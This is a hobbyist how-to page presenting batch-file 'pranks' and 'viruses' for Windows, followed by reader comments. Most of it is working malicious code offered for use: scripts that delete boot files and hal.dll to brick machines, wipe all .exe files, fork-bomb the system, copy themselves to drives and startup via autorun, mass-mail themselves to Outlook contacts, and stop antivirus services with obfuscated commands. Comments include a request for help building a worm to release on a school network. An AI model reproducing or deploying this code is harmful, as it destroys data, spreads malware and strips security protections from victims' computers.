Introduction: A Collection of Batch Computer Pranks

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Due to the large amount of instructables I have seen here that detail ways to make batch file "Viruses", often times using the exact same code, I'm making this 'ible to show a comprehensive list of the ones that I know. Keep in mind, some of these can actually be dangerous if used, so be careful!

Some of these aren't exactly "pranks", and should only be looked at for educational purposes.

Disclaimer: I am not responsible if you wreck somebody's $2,000 water-cooled super awesome gaming computer, be it for a silly grudge, or accidental, using the code shown in this instructable.

Step 1: Making a Batch File

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So, in order to input the code described later, you're going to actually need a place to put it. For Batch, you can use the command prompt by going to start>run>cmd.exe, or making a ".bat" file in notepad. Make sure to save it as all files and with a ".bat" extension.

Step 2: Swapping the Mouse Keys

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One of the simplest pranks, best used in conjunction with another. All it does is swap the right and left buttons on your mouse.

Code:

@ echo off
rem ---------------------------------
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem ---------------------------------

Keep in mind that "@ echo off" is only needed once at the beginning of the file.

Step 3: Changing the Password

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So, you want to change the password for the user that someone just logged as so they can't log in again without you? Here's the code.

Code:

@ echo off
rem ---------------------------------
rem Change User Password To "Put password here without quotes"
net user %username% "Username without quotes"
rem --------------------------------

Step 4: Possessed Disk Tray

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This one opens and closes the disk tray, use it to make someone think the tray is busted.

Code:

@ echo off
rem ---------------------------------
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem ---------------------------------


Step 5: Reset the Clock

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Self explanatory, resets the computer clock.

Code:

@ echo off
rem ---------------------------------
rem Change Computer Time
time 12:00
rem ---------------------------------

Step 6: Hide the "My Documents" Folder

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Also self explanatory.

Code:

@ echo off
rem ---------------------------------
rem Hide My Documents Folder
attrib +h "%userprofile%\my documents"
rem ---------------------------------

Step 7: Blue Screen of Death

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That's right, this will trigger the infamous Blue Screen of Death.

Code:

@ echo off
rem ---------------------------------
rem Activate Blue Screen Of Death
@((( Echo Off > Nul ) & Break Off )
@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
@Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"
)
rem ---------------------------------

Step 8: The Last Restart

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This one restarts the computer...For the last time. (One of the DANGEROUS ones)

Code:

@ echo off
rem ---------------------------------
rem The Last Restart
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
shutdown /r /t 00
rem ---------------------------------

Step 9: Spam With MSGBox

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This one spams the desktop with a bunch of windows that re-popup when closed. Using msgbox.

Code:


@ echo off
rem ---------------------------------
rem Spam With VBScript Msgboxes
echo Do>>msgbox.vbs
echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
rem ---------------------------------

Step 10: Confuse Filetype Extensions

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Makes say .exe files open as .txt files, and so on.

Code:

@ echo off
rem ---------------------------------
rem Confuse File Extensions Powerup
assoc .dll=txtfile
assoc .exe=pngfile
assoc .vbs=Visual Style
assoc .reg=xmlfile
assoc .txt=regfile
rem ---------------------------------
rem Confuse File Extensions for text
assoc .mp3=txtfile
assoc .xml=txtfile
assoc .png=txtfile
rem ---------------------------------

Step 11: Disable Computer

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Both self explanatory,and dangerous, deletes hal.dll to disable the computer.

Code:

@ echo off
rem ---------------------------------
rem Disable Computer By Deleting hal.dll
del /f /q %SystemDrive%\WINDOWS\system32\hal.dll
rem ---------------------------------

Step 12: Delete All of a Certain Filetype

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Title explains it, but since you need a different code for each dif. filetype, post a comment and I'll post it. Meanwhile, here's the one for .exe.

Code:

@ echo off
rem ---------------------------------
rem Delete All Exe
DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"
rem ---------------------------------


Step 13: Crash Computer

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Read the title...

Code:

@ echo off
rem ---------------------------------
rem Crash Computer
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
start "" crash.bat
rem ---------------------------------

Step 14: Delete a Certain Program

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Same deal as with the filetypes, but only deletes one program. Tell me which one, and I'll post the code. Here's for notepad.

Code:

@ echo off
rem ---------------------------------
rem Delete Notepad
tskill notepad
del /f /q "%windir%\system32\notepad.exe"
rem ---------------------------------

Step 15: Local Infection

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Add one of these to your .bat, and it will infect that with the virus.

Code:

Infect all drives:

rem ---------------------------------
rem Infect All Drives
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
rem ---------------------------------

Infect Startup:

rem ---------------------------------
rem Infect Startup Folder
copy %0 "%userprofile%\Start Menu\Programs\Startup"
rem ---------------------------------

Infect all of a certain filetype. Comment and I'll post. Here's .exe:

rem ---------------------------------
rem Infect All .Exe Files
assoc .exe=batfile
DIR /S/B %SystemDrive%\*.exe >> InfList_exe.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_exe.txt) do copy /y %0 "%%j:%%k"
rem ---------------------------------


Step 16: Internet Infection (DONT READ THIS STEP)

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The most dangerous thing I will describe here. It requires a disclaimer  of it's own.

Disclaimer: DO NOT use the code in this step, it is PURELY for EDUCATIONAL purposes. If you DO decide to use it, I am not responsible for ANYTHING that results. YOU MAY GO TO JAIL, if this is used. I REPEAT, JAIL! It will affect computers other than the one it is used on. DO NOT run this code.

IF YOU ARE NOT EXTREMELY EXPERIENCED WITH THIS KIND OF THING DO NOT READ PAST THIS POINT IN THIS STEP, SIMPLY PROCEED TO THE NEXT STEP AND FORGET ABOUT THIS ONE!

That said, this code will send the entire virus file to all of the computers contacts in Microsoft Outlook as an e-mail attachment. DANGER!!!!!

Code:

@ echo off
rem ---------------------------------
rem Spread Via Outlook Contact Book
echo dim x>>%SystemDrive%\mail.vbs
echo on error resume next>>%SystemDrive%\mail.vbs
echo Set fso ="Scripting.FileSystem.Object">>%SystemDrive%\mail.vbs
echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
echo Set ol=CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
echo Set out=WScript.CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
echo Set mapi = out.GetNameSpace("MAPI")>>%SystemDrive%\mail.vbs
echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
echo Set Mail=ci>>%SystemDrive%\mail.vbs
echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs
echo Mail.Subject="Is this you?">>%SystemDrive%\mail.vbs
echo Mail.Body="Man that has got to be embarrassing!">>%SystemDrive%\mail.vbs
echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
echo Mail.send>>%SystemDrive%\mail.vbs
echo Next>>%SystemDrive%\mail.vbs
echo ol.Quit>>%SystemDrive%\mail.vbs
start "" "%SystemDrive%\mail.vbs"
rem ---------------------------------





Step 17: Self Destruct

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Add this to the end of the file and it will delete itself when it's done.

Code:

rem ---------------------------------
rem Self Destruct
del /f /q %0
rem ---------------------------------

Step 18: Kill Anti-Virus

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Chances are the victim has anti virus software installed, so put this into a seperate file and run it first.

Code:

@ echo off
rem ---------------------------------
rem Encripted AV Killer
del /F /Q %SystemDrive%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
set ii=ne
set ywe=st
set ury=t
set iej=op
set jt53=Syma
set o6t=nor
set lyd2=fee
set h3d=ton
set gf45=ntec
set own5=McA
%ii%%ury% %ywe%%iej% "Security Center" /y
%ii%%ury% %ywe%%iej% "Automatic Updates" /y
%ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
%ii%%ury% %ywe%%iej% "SAVScan" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Firewall Monitor Service" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto-Protect Service" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
%ii%%ury% %ywe%%iej% "%own5%%lyd2% Spamkiller Server" /y
%ii%%ury% %ywe%%iej% "%own5%%lyd2% Personal Firewall Service" /y
%ii%%ury% %ywe%%iej% "%own5%%lyd2% SecurityCenter Update Manager" /y
%ii%%ury% %ywe%%iej% "%jt53%%gf45% SPBBCSvc" /y
cls
%ii%%ury% %ywe%%iej% "Ahnlab Task Scheduler" /y
%ii%%ury% %ywe%%iej% navapsvc /y
%ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
%ii%%ury% %ywe%%iej% vrmonsvc /y
%ii%%ury% %ywe%%iej% MonSvcNT /y
%ii%%ury% %ywe%%iej% SAVScan /y
%ii%%ury% %ywe%%iej% NProtectService /y
%ii%%ury% %ywe%%iej% ccSetMGR /y
%ii%%ury% %ywe%%iej% ccEvtMGR /y
%ii%%ury% %ywe%%iej% srservice /y
%ii%%ury% %ywe%%iej% "%jt53%%gf45% Network Drivers Service" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% Unerase Protection" /y
%ii%%ury% %ywe%%iej% MskService /y
%ii%%ury% %ywe%%iej% MpfService /y
%ii%%ury% %ywe%%iej% mcupdmgr.exe /y
%ii%%ury% %ywe%%iej% "%own5%%lyd2%AntiSpyware" /y
%ii%%ury% %ywe%%iej% helpsvc /y
%ii%%ury% %ywe%%iej% ERSvc /y
%ii%%ury% %ywe%%iej% "*%o6t%%h3d%*" /y
%ii%%ury% %ywe%%iej% "*%jt53%%gf45%*" /y
%ii%%ury% %ywe%%iej% "*%own5%%lyd2%*" /y
cls
%ii%%ury% %ywe%%iej% ccPwdSvc /y
%ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
%ii%%ury% %ywe%%iej% navapsvc /y
%ii%%ury% %ywe%%iej% "Serv-U" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
%ii%%ury% %ywe%%iej% "%jt53%%gf45% AntiVirus Client" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Server" /y
%ii%%ury% %ywe%%iej% "NAV Alert" /y
%ii%%ury% %ywe%%iej% "Nav Auto-Protect" /y
cls
%ii%%ury% %ywe%%iej% "McShield" /y
%ii%%ury% %ywe%%iej% "DefWatch" /y
%ii%%ury% %ywe%%iej% eventlog /y
%ii%%ury% %ywe%%iej% InoRPC /y
%ii%%ury% %ywe%%iej% InoRT /y
%ii%%ury% %ywe%%iej% InoTask /y
cls
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
%ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Corporate Edition" /y
%ii%%ury% %ywe%%iej% "ViRobot Professional Monitoring" /y
%ii%%ury% %ywe%%iej% "PC-cillin Personal Firewall" /y
%ii%%ury% %ywe%%iej% "Trend Micro Proxy Service" /y
%ii%%ury% %ywe%%iej% "Trend NT Realtime Service" /y
%ii%%ury% %ywe%%iej% "%own5%%lyd2%.com McShield" /y
%ii%%ury% %ywe%%iej% "%own5%%lyd2%.com VirusScan Online Realtime Engine" /y
%ii%%ury% %ywe%%iej% "SyGateService" /y
%ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
cls
%ii%%ury% %ywe%%iej% "Sophos Anti-Virus" /y
%ii%%ury% %ywe%%iej% "Sophos Anti-Virus Network" /y
%ii%%ury% %ywe%%iej% "eTrust Antivirus Job Server" /y
%ii%%ury% %ywe%%iej% "eTrust Antivirus Realtime Server" /y
%ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
%ii%%ury% %ywe%%iej% "eTrust Antivirus RPC Server" /y
cls
%ii%%ury% %ywe%%iej% netsvcs
%ii%%ury% %ywe%%iej% spoolnt
rem ---------------------------------

Step 19: Disable Task Manager

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Disables Task Manager.

Code:

rem ---------------------------------
rem Disable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
rem ---------------------------------


Step 20: Disable Internet Connection

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Disables internet... Duhh

Code:

rem ---------------------------------
rem Disable Internet
@Echo off & @@Break Off
Ipconfig /release
%jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
rem ---------------------------------


Step 21: Disable Mouse/Keyboard

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Mouse:

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

Keyboard:

rem ---------------------------------
rem Disable Keyboard
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start "nokeyboard.reg"
rem ---------------------------------


Step 22: Conclusion

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Also, don't let this get into the wrong hands!

Comments

kimips (author)2013-12-25

you mean we can't boot our PC anymore?

catataphisher (author)kimips2014-03-21

the only way to fix this is to completely wipe the hard drive... I think

kimips (author)catataphisher2014-03-23

ah, i see. Thanks!

mangomango (author)2013-02-05

how do you re-enable? restarting did not fix

catataphisher (author)mangomango2014-03-21

uh oh....

kimips (author)2013-12-25

what does this do? shut down the computer? will I be able to boot it afterwards?

kimips (author)2013-12-25

does restarting fix it?

kimips (author)2013-12-25

restarting fixes it, right?

Stan2000 (author)2013-12-04

Dude, you saved me half a year of time, you are just awesom

modsplay (author)2013-06-05

good thing i dont have a outlook or any contacts

devicemodder (author)2013-05-23

how would i get the keyboard back?

farlandhunter (author)2012-11-18

You can just go into task manager>process, and find wscript.exe and end that process.

xchar-amato (author)2012-10-04

Thanks, I just got out of JAIL today. It turns out the internet this is illegal :/ i did it to my school.

xchar-amato (author)xchar-amato2012-10-04

thing*

DCFIGHTER (author)2012-09-28

cool virus
i am trying to make a really big one that i can unleash into my school in 2014 on the last day of my schooling years
i don't have full admin privileges but more then most of the school as i was able to crack the password for my system. I am trying to make one that can be messaged throughout the whole network or piggy back through the internet and that will turn all users into admin delete a few files and will erase itself leaving no trace behind

could you possibly help me out with this??

Allurisk (author)2012-06-29

You wrecked my $2000 water-cooled super awesome gaming computer. Lol

newbiescriptwriter (author)2012-04-20

Hey man XD... i really appreciate all these codes XDD... But i have one certain problem. Right now i have this code:



@echo on

:Top

color 02

prompt Hi, You Have Been SCAMMED XD

start  color 0c

pause

prompt Hi, You Have Been SCAMMED XD



prompt Hi, You Have Been SCAMMED XD



prompt Hi, You Have Been SCAMMED XD



prompt Hi, You Have Been SCAMMED XD



prompt Hi, You Have Been SCAMMED XD



prompt Hi, You Have Been SCAMMED XD



prompt Hi, You Have Been SCAMMED XD

%0

rem ---------------------------------

rem Self Destruct

del /f /q %0

rem ---------------------------------

goto top

%0



(the pause is so to not destroy my computer whilst modding it XD)

...

My idea for this, is to open command prompt (pretend to be deleting stuff...), then open up another 8 command prompts (make them look like the one before, scrolling and pretend to delete stuff) and repeat the process....



ANY SUGGESTIONS WOULD BE APPRECIATED XDD

will421 (author)2012-04-09

Does it fix on restart?

LiquidLightning (author)will4212012-04-10

I wouldn't recommend trying it.

will421 (author)2012-04-09

I might use these as temp files for a exe so I can demonstrate the dangers of a virus in school. :P

LiquidLightning (author)will4212012-04-10

I think the school will apreciate the demonstration. lol

weemanrd (author)2012-02-20

I've tried using this, but every time i try, an error message comes up saying invalid character, line 1, character 1

will421 (author)2011-12-25

I tried this virus with a fake Outlook Account, and Trend Micro said this was the HitOut virus. XP

LiquidLightning (author)will4212012-01-08

Lol the mechanism action is basically the same between the two.

will421 (author)2011-12-25

Shouldn't you associate some crazy file type with exe, then have it use the list to copy, rename, and place into a hidden directory, then edit the file by taking %0, removing .exe, then adding the type on the end, and then use that so the file runs afterwards?

Kingfisher111 (author)2011-12-13

How do you reconect the internet?

Restart

will421 (author)2011-10-11

I'm gonna use this. Put it all together (well, most of it) to make a mega virus with some other touches (once it's done it blocks input, turns up the volume and goes to http://www.youtube.com/watch?v=CyzyOnOh9A8) to send to danooct1!

122boy (author)2011-08-24

cool this all goes to a ,bat file extenction

LiquidLightning (author)122boy2011-09-01

Yep.

jmarri (author)2011-04-26

@#$%! I don't want to mess with you...

______ (author)jmarri2011-07-31

Same here dude

kalman98 (author)2011-07-14

How do you make it stop?????It is driving me CRAZY!!!!!

LiquidLightning (author)kalman982011-07-18

Restart your computer.

kalman98 (author)LiquidLightning2011-07-20

Thank you!

Electron229 (author)2011-06-29

so it doesnt do anything to my computer?

It will make whatever file this script is embedded in get sent out to all of the contacts in microsoft outlook on the computer it is executed on.

6koko (author)2011-06-07

Can you switch the mouse buttons back later?

LiquidLightning (author)6koko2011-06-09

Yes, just go into control panel and under the mouse category there should be an option to swap them. Just un-check the box.

yasin121 (author)2011-04-19

how whould you do it for cod

LiquidLightning (author)yasin1212011-04-21

Whats the directory, and name of the .exe?

yasin121 (author)2011-04-19

tnxxxxxxxxx alot i love all ur scripts there useful

loureb18 (author)2011-03-28

this will work on any batch file?

LiquidLightning (author)loureb182011-03-29

It should.

love2make (author)2011-02-25

what does this one do?

It disables the antivirus on the system.

love2make (author)2011-02-25

does it like screw with anti virus and spy ware so you can use other viruses

Dr. Pepper (author)2011-01-14

Very cool!

Thanks!

sure!

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